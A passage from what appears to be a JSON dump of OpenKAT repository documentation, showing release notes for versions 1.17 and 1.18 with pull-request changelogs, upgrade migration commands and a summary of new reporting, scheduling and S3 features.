https://github.com/minvws/nl-kat-coordination/pull/3360\n* Add mention of other http client to docs by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3365\n* Set timezone to UTC in SQLAlchemy when connecting to PostgreSQL by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3363\n* Remove workaround for setuptools bug by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3371\n* Package Updates by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3374\n* Small flexible scheduling fixups by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3354\n* Fix generate findings report from ooi detail by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3369\n* Fix no certificate bug by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3382\n* Implement subreport rename form in table and remove it from dialog by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3338\n* Styling fixes within filters, hierarchy fix on organisation members b… by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3322\n* Bump myst-parser from 3.0.1 to 4.0.0 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/3346\n* Bump django-rest-framework jquery version by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3422\n* Fix KAT-alogus navigation by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3415\n* Move variables from utils.js to renderNormalizerOutputOOIs.js by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3412\n* Replace lru_cache with cache by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3413\n* Stop yielding network in certain normalizers by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3420\n* fix: notification width by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3450\n* Fix add related, fix manual ooi task list, remove redundant octopoes call by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3421\n* Add mula API hotfix by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3478\n* [backport-1.17] Fix enabling normalizers from Rocky by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3484\n* Fix hanging bytes (1.17) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3513\n* Also delete self-affirming or self-infered objects (1.17) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3534\n* Dont yield all snyk findings when no version was found (1.17) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3533\n\nUpgrading\n=========\n\nAll bits all need to be rerun because of model changes. This can be done on the\norganization settings page.\n\nRunning the Origin Migration\n================================\nUpon upgrading, one migration needs to be triggered manually.\nThis is the `boefjes/tools/upgrade_v1_17_0.py` script, which you can run in your ``boefje`` environment using:\n\n.. code-block:: sh\n\n    python -m tools.upgrade_v1_17_0\n\nOr more concretely, using Docker:\n\n.. code-block:: sh\n\n    docker compose run --rm boefje python -m tools.upgrade_v1_17_0\n\nAnd using the Debian packages, either as the `kat` user or root depending on your configuration:\n\n.. code-block:: sh\n\n    source /opt/venvs/kat-boefjes/bin/activate\n    export $(cat /usr/lib/kat/boefjes.defaults | grep -v \"#\") && export $(cat /etc/kat/boefjes.conf | grep -v \"#\")\n    cd /opt/venvs/kat-boefjes/lib/python3.11/site-packages\n    /opt/venvs/kat-boefjes/bin/python -m tools.upgrade_v1_17_0\n\nPlease check the logs for any errors in the migration.\nThe script can be run multiple times in case unexpected errors appear, although some warnings are to be expected.\nAfter running the script (ideally once), the next run should log that `total_processed=0` and `total_failed=0`.\n\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/compare/v1.16.0...v1.17.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.18.rst",
    "content": "============================================\nOpenKAT 1.18 - Sneeuwkat\n============================================\n\nThis release adds report scheduling, which implements periodic report generation: by adding an interval to a report, it will automatically update with the latest information. With our new Dashboarding feature, these reports can be added to custom dashboards.\n\nDashboard and Report data also have historical versions available. Future versions of the user interface will include moving back and forth in time and comparing these historic versions, highlighting changes and trends.\nWe also included a new HTTP export boefje that you can use to export all objects in the graph to an external API either on an interval (e.g. every hour), or when the OOI is either created or changed, using our new Run-On functionality. This can be used to alert that findings have been created or their score has been updated.\nThere's also a new S3 backend for Bytes and various new boefjes, normalizers and fixes to bits from our growing community. Thanks! Docs on how to setup S3 for your (new) install can be found here: https://docs.openkat.nl/installation-and-deployment/s3-buckets.html\n\nThe language Tamil has been added via the hard work of a community volunteer. Since we have not yet tested it ourselves, it's currently only available if you add it to the languages list manually.\nIf you want to add a language to OpenKAT, or just help translate smaller parts, please take a look at our weblate: https://hosted.weblate.org/projects/openkat/nl-kat-coordination/ any help is much appreciated!\n\nThe Keiko module (formerly used to generate reports Via LaTeX) has been removed as we are now using full html reports that can also be exported as PDF.\n\nIn total 30 contributors have made 267 commits to Main in which 1,332 Files where changed.\n\nNew Features and Bug fixes\n==========================\n\n\n* Feature: improve settings and environment logic and phase out redundant environment keys by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3384\n* feat: adds notification styling and icons by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3461\n* Make the \"name\" field for plugins mandatory by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3471\n* Feature/upload multiple files at once to bytes by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3476\n* Add report scheduler functionality to scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3352\n* Add json download to report export by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3460\n* feat: multi select dropdown by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3446\n* Add timezone to valid time by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3429\n* Exclude OOIs creation from the OOI add form by OOI-types by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3490\n* Hotfix for normalizer API bug by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3475\n* fix: toggle styling by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3449\n* Dont yield all snyk findings when no version was found by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3431\n* Handle empty normalizer results by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3482\n* Fix enabling normalizers from Rocky by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3481\n* Fix report types selection not being overridden by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3436\n* Add new Boefje by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3400\n* Fix hanging upload of large files by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3489\n* Check if the task is still running according to the scheduler before changing the status by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3506\n* Use the right variable name in the template's if-statement by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3519\n* Add regex pattern check to PORTS setting of nmap-ports by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3516\n* Update xtdb-http-multinode to the latest version by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3523\n* Updated findings in the findings database by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3427\n* remove unneeded column from filtered plugin table view by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3515\n* Also delete self-affirming or self-infered objects by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3498\n* Support valid_time and the like for queries in xtdb tools by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3430\n* Chore: use only Pytest in the boefjes by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3536\n* Invert findings, add source URLs. by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3538\n* Fix JSON line logging by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3511\n* Fix xtdb-cli by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3543\n* Create boefje variant by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3456\n* make session commit less chatty by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3544\n* Fix duplicate OOI references in result in origin by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3531\n* a bit more detailed erroring in the scheduler client. by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3546\n* Show proper error message instead of stacktrace if boefje API is unreachable by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3550\n* Fix headings by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3528\n* Feat/bit domain ownership pending by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3290\n* Improve boefje runner error messages on container failure by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3548\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3567\n* Clean more stale origins by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3561\n* Fix Pydantic warnings by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3557\n* Prevent race conditions between Octopoes' event manager and the scheduler from recreating already deleted OOIs through affirmations by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3564\n* burpsuite fix by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3381\n* Fix boefje schema on Boefje Setup page by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3574\n* Set default findingtype risk in model instead of in bit by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3562\n* Add permission that grants access to all organizations by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3532\n* Add unique constraint to database plugin names by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3556\n* Feature/add boefje scheduling fields by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3555\n* Refactor and fix faulty save_origin exception code by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3577\n* Dont show manual tasks in normalizer list by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3580\n* Update a Boefje by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3521\n* Explicitly use the fork context for multiprocessing to fix running boefjes on macOS by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3576\n* fix: button style by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3565\n* Use stdlib instead of dateutil to parse ISO datetime by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3590\n* Do not store the hypothetically produced mime-types always by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3583\n* Remove old Findings Report by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3560\n* Add 'set start date' functionality to scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3589\n* Make API usable by non-admin users and check specific permissions by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3571\n* fix: button styling by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3591\n* Add interval to Boefje by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3579\n* Add boefje interval and cron check for deadline in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3529\n* Always redirect to katalogus when enabling plugins by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3584\n* Fixes notification alignment by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3522\n* REST API to recalculate bits and clone katalogus settings by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3572\n* fix: form styling by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3588\n* Remove an erroneously generated request body from an object history GET call in Octopoes' router by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3605\n* RFD 0002: Code of Conduct: Code Reviews by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3425\n* Fix grace period is being used instead of interval for boefjes that have interval specified in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3602\n* Use identifiers on modal triggers and modal component instead of integral trigger by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3541\n* Refactoring for Report Recipe, Report Task Runner and Scheduling by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3597\n* Handle existing Boefje name by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3573\n* Update boefje interval texts to make functionality more clear by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3609\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3610\n* Feature/sort ooi type clearance level by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3300\n* Feature/report runner integration by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3607\n* Report Schedules List by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3608\n* Add s3 functionality in Bytes by @Souf149 in https://github.com/minvws/nl-kat-coordination/pull/3505\n* Implement SonarCloud integrations by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3001\n* Fixed references in SonarCloud workflow by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3620\n* Update filter unit and integration tests by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3595\n* Enable ruff format skip-magic-trailing-comma by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/2975\n* Fixes for xtdb-cli by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3624\n* Give python-docker-boefjes the possibility to use modules that are not part of OpenKAT by @Souf149 in https://github.com/minvws/nl-kat-coordination/pull/3621\n* fix tagging list in scheduled_reports_table.html by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3615\n* Revert 1b4aed6 by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3647\n* Add audit trail logging to boefje crud actions in boefje by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3613\n* use correct error mimetype by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3646\n* Update katalogus client, input sanitization / validation by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3396\n* Bug fixes for the reports flow by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3630\n* Remove source link in Findings Report when source is none by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3642\n* add CA bundle env var to dadb boefje schema. by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3618\n* Fix nmap-ports regex pattern not allowing 80 by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3651\n* Fix boefje container image url by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3622\n* Fix description on plugin page when all plugins are enabled by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3644\n* Fix for downloading PDF by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3664\n* Fix sorting plugins list by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3659\n* fix the boefje id check for uuid's. A cleaner match regex would probably be better. by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3665\n* Fix table in DNS Report by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3650\n* Pass bytes instead of string to BytesClient.upload_raw() by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3670\n* make some things look better by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3661\n* Fix/yielded objects by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3669\n* Add rocky worker service to debian packages by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3619\n* Update upload_raw.py by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3645\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3673\n* Add plugins to findings report by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3657\n* Fix jsonb 'contained by' query by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3643\n* Fix empty vulnerability reports by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3662\n* Silence KATFindingType not found error in JobHandler by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3686\n* Github action should trigger if workflow definition changes by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3680\n* Do not run dh_strip_nondeterminism in Debian packaging by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3674\n* Fix first order dangling affirmation delete by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/3682\n* Fix javascript and component template in prod environments by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3672\n* Add delete schedule functionality for schedules in the scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3678\n* Fix/report naming by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3666\n* Add search endpoint for schedules for scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3695\n* feat: ✨ add Shodan InternetDB boefje by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/2615\n* Add sterr to output list by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3649\n* Rework workflow for variable python version, add python 3.11 by @sigio in https://github.com/minvws/nl-kat-coordination/pull/3721\n* Fixes in Report Overview by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3707\n* Add REST API to list report and download pdf report by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3689\n* Add start date to report schedule by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3701\n* Edit report recipe by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3690\n* Fix Multi Report recursion error by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3714\n* Fix report names for scheduled reports by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3726\n* Refactor Multi Report to comply to the new report flow by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3705\n* Add exception handling to the rest api by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3708\n* Add rocky REST API for report recipes by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3746\n* Fix auth token middleware with wrong format header by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3755\n* Fix vulnerability chapters in Aggregate table of content by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3780\n* Make systemctl call for kat-rocky-worker conditional by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3782\n* Fix scheduled Aggregate Report naming by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3748\n* Fixes for dropdowns by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3732\n* Exclude Report from ooi list by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3768\n* Fix reports with organization tags by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3790\n* Silence staticfiles warning by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3795\n* Add configurable httpx request timeout and increase default by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3786\n* fix: Long links within tables by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3724\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3762\n* Update web system report to make \"certificate valid\" check positive by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3798\n* Add live set (filter/query) to ReportRecipe by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3769\n* Add reports to scheduled table by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3787\n* fix: Adds code element styling by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3722\n* Fix filtered ooi types for reports by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3807\n* Replace finding description 'None' with the id by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3806\n* Button styling by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/3772\n* Fix settings boefje settings via system env vars by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3766\n* Update normalizer texts in katalogus for some normalizers. by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3821\n* Add searching and sorting to Findings page by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3804\n* Fix typo in InternetDB boefje name by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3828\n* Refactor KATalogus client in Rocky by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3717\n* Check queue size before polling by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3829\n* Do not fail silently when deleting non-existing objects in octopoes by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3813\n* Add bulk actions on report overview by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3777\n* Upgrade script notes and fix for 1.16 on Debian by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3824\n* Bug fix: When opening subreports it throws index error by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3775\n* Delete log.txt by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3851\n* Support a Schedule without a schedule in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3834\n* Report types listed in a modal @ report plugins by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3718\n* Skip empty queues in the Rocky worker by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3860\n* Let local plugins (files) take precedence over database entries by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3858\n* Limit requesting prior tasks for ranking in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3836\n* Add configuration setting for number of octopoes workers by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3796\n* Add start time to scheduled reports by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3809\n* Sub reports for Aggregate Report by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3852\n* Fix cron for last day of the month by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3831\n* Fixes for empty tables by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3844\n* optimize locking in katalogus.py, reuse available data by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3752\n* Enable/disable scheduled reports by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3871\n* Fix rocky katalogus tests and delete unused fixtures by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3884\n* Change plugins enabling in report flow to checkboxes by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3747\n* Let mailserver inherit l1 by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3704\n* Ignore specific url parameters when following location headers by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3856\n* Add auto_calculate_deadline attribute to Scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3869\n* Fix for task id as valid UUID by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3744\n* Increase max number of PostgreSQL connections by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3889\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3870\n* Update scheduler folder structure by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3883\n* Feature/improve rename bulk modal by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3885\n* fix: 🐛 allow boefje completion with 404 by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/3893\n* Create separate finding for Microsoft RDP port by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3882\n* Add additional check if task already run for report scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3900\n* Adds loggers to report flow by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3872\n* Fix mula migrations Debian package by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3919\n* Bug fix: KAT-alogus parameter is now organization member instead of organization code by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3895\n* Fix call to get_katalogus by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3924\n* add support for detecting Lame dns delegations on ip ranges by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3899\n* Add bgp.jsonl and bgp-meta.json to .gitignore by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3928\n* Improve the KATalogus /plugins endpoint performance by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3892\n* Create scheduled report with zero objects selectable by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3907\n* Fix layout issues on scheduled reports page by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3930\n* Add export http boefje by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/3901\n* Update website_discovery.py by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3921\n* add unpkg.com to disallowed hostnames in CSP by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3927\n* Dont check for Locations on local Ip's. by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3894\n* fix: 🔨 do not store CDN findings by @zcrt in https://github.com/minvws/nl-kat-coordination/pull/3931\n* Boefje runonce functionality in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3906\n* Fix report recipe API by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3942\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3939\n* Report flaws by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3880\n* Fix typing in more places and configure mypy to follow imports by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3932\n* Do not let enabling plugins affect the global plugin cache by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3944\n* fix typos in description.md by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3952\n* Add documentation for S3 Support by @Souf149 in https://github.com/minvws/nl-kat-coordination/pull/3953\n* fix/Makes expando row chevron buttons sticky in report history and scheduled reports tables by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3954\n* Move event codes logging to KATalogus client by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3956\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3969\n* Add cron parser to make cron human readable. Add \"next scan\" to object table on boefje detail view by @TwistMeister in https://github.com/minvws/nl-kat-coordination/pull/3960\n* Upsert report recipe in REST API by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3968\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/3984\n* Fix test_report_runner.py by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/4003\n* minor changes to onboarding, remove header, make preferred route more visible. by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3986\n* Move the NXDomain catch to look at the results now that we dont raise… by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3997\n* Add SPF optional machnism qualifier to model and parser. fix Human readable formatting for various mechanisms by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3999\n* Changes to schedule all reports, even for once by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/3840\n* Documentation Export HTTP API boefje by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4030\n* catch the schema mismatch error and produce an error raw file by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3995\n* Fix pagination in the history API by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4041\n* Fix/remove unneeded lookups for inference params by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4031\n* Update dropdown.scss, add scrolling / max height by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4040\n* Fix/remove unneeded tree lookups on ooi views by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4032\n* Fix/ooi detail fixes by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4024\n* Update organization_list and settings page, remove unused stuff, add tags + direct settings link by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4039\n* Fix/reuse report ooi entities by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4047\n* make reference parsing more strict in init.py by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4065\n* Add normalizer name to tasklist on object details page, observation table. by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4034\n* Feat/plugin selection toggler by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4063\n* Report Task List by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/4059\n* Add one-off jobs for report scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4045\n* Remove the keiko report module by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4066\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4046\n* Add run-on to Boefje Setup page by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4061\n\nDocumentation\n=============\n\n* Docs/update userguide objects tasks members settings by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3957\n* Add risk level severities to docs by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4037\n* Docs: adding Questions and Configs by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3975\n* Docs: adding Questions and Configs by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3975\n* Add Kubernetes and Ansible to docs by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3970\n* Fix docs target in Makefile by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3987\n* Docs: adding Questions and Configs by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3975\n* Update intro.rst, fix security email address by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3846\n* Update scheduler documentation by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3692\n* Update folder structure in scheduler architecture doc by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4002\n* Update docs for creating a new Boefje by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3540\n* update readme by @F3licity in https://github.com/minvws/nl-kat-coordination/pull/3648\n* Updates boefje clearances and descriptions by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3863\n* Update development tutorial documentation by @allan-firelay in https://github.com/minvws/nl-kat-coordination/pull/3611\n* Add docs for xtdb analyze bits. by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3688\n* Docs/add muted findings by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3699\n* Update helper text for report names by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/3616\n* Update README.rst - 